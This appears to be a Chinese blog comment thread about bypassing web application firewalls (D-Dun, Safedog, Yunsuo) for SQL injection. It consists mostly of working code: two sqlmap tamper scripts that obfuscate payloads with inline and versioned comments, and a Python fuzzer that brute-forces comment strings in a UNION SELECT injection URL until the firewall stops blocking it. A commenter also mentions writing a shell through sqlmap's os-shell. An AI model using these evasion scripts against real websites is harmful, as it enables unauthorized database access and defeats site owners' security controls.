发表评论

#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ BYPASS Ddun """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/*DJSAWW%2B%26Lt%3B%2B*/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/*DJSAWW%2B%26Lt%3B%2B*/" continue retVal += payload[i] return retVal
#@author:九世
#@time:2019/11/15
#@file:bypass.py
from gevent import monkey;monkey.patch_all()
from multiprocessing import Process
from colorama import init,Fore
import gevent
import requests
import time
import asyncio
import string
init(wrap=True)
class BypassDog(object):
def __init__(self):
self.data=string.digits+'!' #定义内容
self.payload='http://192.168.241.158/sql.php?id=0%20union%20select%201,2'
self.ybs=[]
self.djcs=[]
self.xcs=[]
self.calc=0
self.calc2=0
self.calc3=0
self.huan=' '
self.dr=''
self.r=''
def reqts(self,da):
jg=self.payload.replace('%20','/*{}*/'.format(da))
try:
rqt=requests.get(url=jg,headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36'})
if not '网站防火墙' in rqt.text and not 'NULL' in rqt.text:
print(Fore.GREEN+'[+] '+Fore.WHITE+' Bypass Dog url:{}'.format(jg))
print(jg,file=open('test.txt','a',encoding='utf-8'))
exit()
else:
print(Fore.RED+'[-] '+Fore.WHITE+' Bypass Dog fuck url:{}'.format(jg))
except:
pass
def xc(self,rw):
for g in rw:
self.xcs.append(gevent.spawn(self.reqts,g))
gevent.joinall(self.xcs)
self.xcs.clear()
def djc(self):
for u in self.ybs:
if self.calc==100:
p=Process(target=self.xc,args=(self.djcs,))
p.start()
self.calc=0
self.djcs.clear()
time.sleep(0.01) #0.01 CPU低于50% 0.005CPU低于70 0.003CPU低于95,根据内容数量来手动设置是否需要延时
self.djcs.append(u)
self.calc+=1
if len(self.djcs)>0:
p = Process(target=self.xc, args=(self.djcs,))
p.start()
self.calc = 0
self.djcs.clear()
async def yb(self):
for g in range(1,len(self.data)+1):
while True:
if self.calc3>g:
gd=self.dr+' pod={};self.ybs.append(pod);self.calc2+=1\n{}' \
'if self.calc2==100:\n{}' \
' self.djc()\n{}self.calc2=0\n{}self.ybs.clear()\n' \
'if len(self.ybs)>0:\n' \
' self.djc();self.calc2=0;self.ybs.clear()'.format(self.r.rstrip('+'),self.huan+' ',self.huan+' ',self.huan+' '+' ',self.huan+' '+' ')
exec(gd)
self.calc3=0
self.huan=' '
self.dr=''
break
else:
self.dr+="for s{} in self.data:\n{}".format(self.calc3,self.huan)
self.r+='s{}+'.format(self.calc3)
self.calc3+=1
self.huan+=' '
if __name__ == '__main__':
obj=BypassDog()
loop=asyncio.get_event_loop()
tk=loop.create_task(obj.yb())
loop.run_until_complete(tk)只支持用union查询来过的,其他的测试语句会被云锁报警,这里问下大佬sqlmap能不能指定union来测试。。 这个os-shell也可以写出shell脚本,但是还后续执行命令会被云锁报警
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload=payload.replace('ORDER','/*!00000order*/')
payload=payload.replace('ALL SELECT','/*!00000all*/ /*!00000select')
payload=payload.replace('CONCAT(',"CONCAT/**/(")
payload=payload.replace("--"," */--")
payload=payload.replace("AND","%26%26")
return payload